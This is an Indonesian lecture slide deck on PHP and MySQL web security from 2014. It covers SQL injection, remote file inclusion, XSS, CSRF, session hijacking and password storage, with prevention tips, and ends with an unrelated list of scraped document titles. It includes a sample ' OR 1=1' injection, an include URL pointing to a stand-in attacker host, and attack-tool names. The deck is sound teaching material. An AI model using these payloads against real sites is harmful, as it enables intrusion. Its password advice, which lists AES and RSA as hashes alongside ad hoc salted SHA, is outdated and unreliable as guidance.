Web Security Studi Kasus PHP and MySQL (1)

Web Security
Studi Kasus: PHP & MySQL
ARGA DINATA
29 September 2014

Pendahuluan
• Web Security
– Goals: menjaga data yang bersifat privat, tetap
menjadi privasi

Issues
• Secrets
– Menjaga kerahasiaan informasi

• Limited Resources
– CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi

• Good Netizenship
– Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem


Referensi
• Pro PHP Security 2nd Edition: Chris Snyder cs.
• https://www.owasp.org
– Open Web Application Security Project

Resiko dan Celah Keamanan








Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session

Third Party Components
PHP Configuration

Nothing is

% “ecure

- Anonymous -

SQL Injection
• Penambahan queri SQL oleh attacker

$username = $_POST[ username ];
$query = SELECT * FROM pengguna WHERE username
= {$username} ;
/*
attacker memasukkan arga OR 1 = 1 ,
sehingga query menjadi:
SELECT * FROM pengguna WHERE username = arga
OR 1 = 1

*/

SQL Injection
• Tidak hanya $_POST, tapi bisa juga melalui
$_GET
• Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE

SQL Injection Word List
• https://wfuzz.googlecode.com/svn/trunk/
wordlist/Injections/SQL.txt

Pencegahan SQL Injection
• Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()

• Agar semakin aman:
– Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
– Cek tipe input dari user dengan fungsi

gettype()

– Pastikan jumlah row pada datasource sudah
sesuai

Prepared Statements &
Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);
$nama = $_POST[ nama ];
$stmt = $mysqli->prepare( SELECT * FROM
pengguna WHERE nama = ? );
$stmt->bind_param( s , $nama);
$stmt->execute();

Tools untuk Pengujian SQL Injection







SQL Power Injector
Pangolin
Web Cruiser
SQL Map
SQL Inject Me (Firefox Plugin)

Code Injection
• Memasukkan script dari host lain melalui
include()

• Misalkan ada URL
http://mysite.com/index.php?content=con
tact.php
• Dimana index.php memiliki instruksi
include($_GET[ content ])

• Attacker memasukkan URL seperti ini:


http://mysite.com/index.php?content=htt
p://attackersite.com/injection.php

Code Injection
• Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()

Pencegahan Code Injection
• Non-aktifkan parameter allow_url_include
pada php.ini
• Cek halaman sehingga yang dieksekusi hanya
halaman yang valid saja

Remote Execution
• Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
– eval()
– exec()
– passthru()

– proc_open()
– shell_exec()
– system()

Remote Execution dari Upload File
• Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya
yang lainnya

Pencegahan Remote Execution
• Minimalisasi penggunaan fungsi-fungsi untuk
mengeksekusi shell
• Cek ekstensi dari file-file yang di-upload
• Simpan upload file di luar document root
• Matikan fungsi eval() dan phpinfo()

Cross-Site Scripting (XSS)
• Memasukkan client-side script dari website
lain ke dalam website kita
• Tag HTML yang bisa diinjeksikan:







Cross-Site Scripting (XSS)
• Apa yang dilakukan oleh script injeksi tsb?
– Mencuri cookies
– Manipulasi DOM
– Redirect
– dll...

• Darimana injeksi dilakukan?
– Input user yang bersifat publik, dan script bekerja
saat script ditampilkan (contoh: guestbook)


html { height: 100% }
body { height: 100% }



Situs dalam perbaikan
Klik di sini
untuk melanjutkan


Pencegahan XSS
• Encode HTML Entities menggunakan fungsi
htmlentities()

• Jika input user mengandung link, buat blacklist
URL yang berbahaya

Tools untuk Testing XSS
• Web Cruiser
• Zed Attack Proxy (ZAP)
• XSS Me (Firefox Plugin)

Cross-Site Request Forgery (CSRF)

• Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis
(robot)

Pencegahan CSRF
• Menggunakan CSRF Token (POST maupun
GET)
• Cek HTTP Referrer
• Challenge-Response:
– CAPTCHA
– Re-Authentication
– One-Time Token

User Authentication
• Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
• Untuk menghindari pencurian data &
mengurangi pengrusakan website

Perusak Website

• SPAMMER

– Pengguna yang melakukan posting konten yang
bersifat promosi

• SCAMMER

– Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...

• TROLL

– Pengguna yang melakukan bullying pada
pengguna lain

Verifikasi Identitas Pengguna
• Simpan identitas pengguna agar:
– Mengurangi pengguna yang merusak
– Menghindari robot
– Jika ada pengrusakan, pengguna dapat dilacak

• Verifikasi dapat dilakukan melalui:
– Email
– SMS
– Credit Card

Password
• Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
• Perhatikan panjang dan kompleksitas
password
• Sediakan fitur untuk mengubah dan reset
password

Hash / Enkripsi Password
• Gunakan algoritma kriptografi yang kuat,
seperti AES, RSA, atau SHA-256. MD5 dan
SHA1 saat ini sudah termasuk yg lemah
• Gunakan algoritma yg sudah umum digunakan
• Berikan kunci tambahan (salted)
• Ganti kunci tambahan tersebut secara
periodik
• Multiple key, salah satu independen

Contoh Penyimpanan Password
$key = pwd_key_
* ;
$salted_pwd = $key.$password.$email;
$hash_pwd = hash( sha
, $salted_pwd);

Kriptografi
• Enkripsi, Hash, & Encode:
– Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
– Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
– Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan

Symmetric vs Asymmetric Key
• Symmetric Key
– Pengirim dan penerima berbagi kunci rahasia yang
sama
– Contoh: 3DES, AES, Blowfish, RC4

• Asymmetric Key
– Enkripsi dan dekripsi memiliki kunci masingmasing
– Contoh: RSA

User Access Control
• Interface yang berbeda-beda
• User Group
• User Type

User Log
• Apache Access Log:
– Linux: /var/log/httpd/apache-access_log/
– Windows: /apache/logs/

• Simpan log pengguna:
– Session ID
– Date Time
– User ID
– Request URI

Session
• Properti dari session:
– Session Key / Session ID
– Session Name
– Session Length
– Session Entropy
– Session Content / Session Value

Session Hijacking
• Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
• Pencurian bisa dilakukan dengan:
– Packet Sniffing
– XSS Attack
– Man-in-the-Middle Attack
– Main-in-the-Browser Attack

Packet Sniffing

Man-in-the-Middle Attack

Man-in-the-Browser
• Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser

Session Fixation
• Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
• Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim

Pencegahan Session Hijacking & Fixation

• Buat Session ID baru setiap pengguna login
• Ganti nama session (default: PHPSESSID)
• Simpan informasi user agent dan IP Address,
cocokkan ketika ada request halaman

Third Party Components
• Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama
yang bersifat open source
• Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi
solusinya adalah tetap update untuk
memperoleh versi terbarunya

PHP Configuration







register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
• magic_quotes_gpc = Off
• post_max_size, upload_max_filesize,
memory_limit

Secure Socket Layer (SSL)
• Protokol yang menggunakan kriptografi dalam
pengiriman data, agar komunikasi lebih aman
• Sekarang Transport Layer Security
• Kriptografi menggunakan kunci asimetris
(asymmetric key)
• Public-Key Infrastructure x.509

Secure Socket Layer (SSL)

Dokumen yang terkait

Studi Kualitas Air Sungai Konto Kabupaten Malang Berdasarkan Keanekaragaman Makroinvertebrata Sebagai Sumber Belajar Biologi

23 176 28

ANALISIS KOMPARATIF PENDAPATAN DAN EFISIENSI ANTARA BERAS POLES MEDIUM DENGAN BERAS POLES SUPER DI UD. PUTRA TEMU REJEKI (Studi Kasus di Desa Belung Kecamatan Poncokusumo Kabupaten Malang)

23 307 16

PENILAIAN MASYARAKAT TENTANG FILM LASKAR PELANGI Studi Pada Penonton Film Laskar Pelangi Di Studio 21 Malang Town Squere

17 165 2

Analisis Sistem Pengendalian Mutu dan Perencanaan Penugasan Audit pada Kantor Akuntan Publik. (Suatu Studi Kasus pada Kantor Akuntan Publik Jamaludin, Aria, Sukimto dan Rekan)

136 695 18

DOMESTIFIKASI PEREMPUAN DALAM IKLAN Studi Semiotika pada Iklan "Mama Suka", "Mama Lemon", dan "BuKrim"

133 700 21

PEMAKNAAN MAHASISWA TENTANG DAKWAH USTADZ FELIX SIAUW MELALUI TWITTER ( Studi Resepsi Pada Mahasiswa Jurusan Tarbiyah Universitas Muhammadiyah Malang Angkatan 2011)

59 326 21

STRATEGI KOMUNIKASI POLITIK PARTAI POLITIK PADA PEMILIHAN KEPALA DAERAH TAHUN 2012 DI KOTA BATU (Studi Kasus Tim Pemenangan Pemilu Eddy Rumpoko-Punjul Santoso)

119 459 25

STRATEGI PUBLIC RELATIONS DALAM MENANGANI KELUHAN PELANGGAN SPEEDY ( Studi Pada Public Relations PT Telkom Madiun)

32 284 52

FAKTOR-FAKTOR PENYEBAB ORANG TUA MENIKAHKAN ANAK PEREMPUANYA PADA USIA DINI ( Studi Deskriptif di Desa Tempurejo, Kecamatan Tempurejo, Kabupaten Jember)

12 105 72

Improving the Eighth Year Students' Tense Achievement and Active Participation by Giving Positive Reinforcement at SMPN 1 Silo in the 2013/2014 Academic Year

7 202 3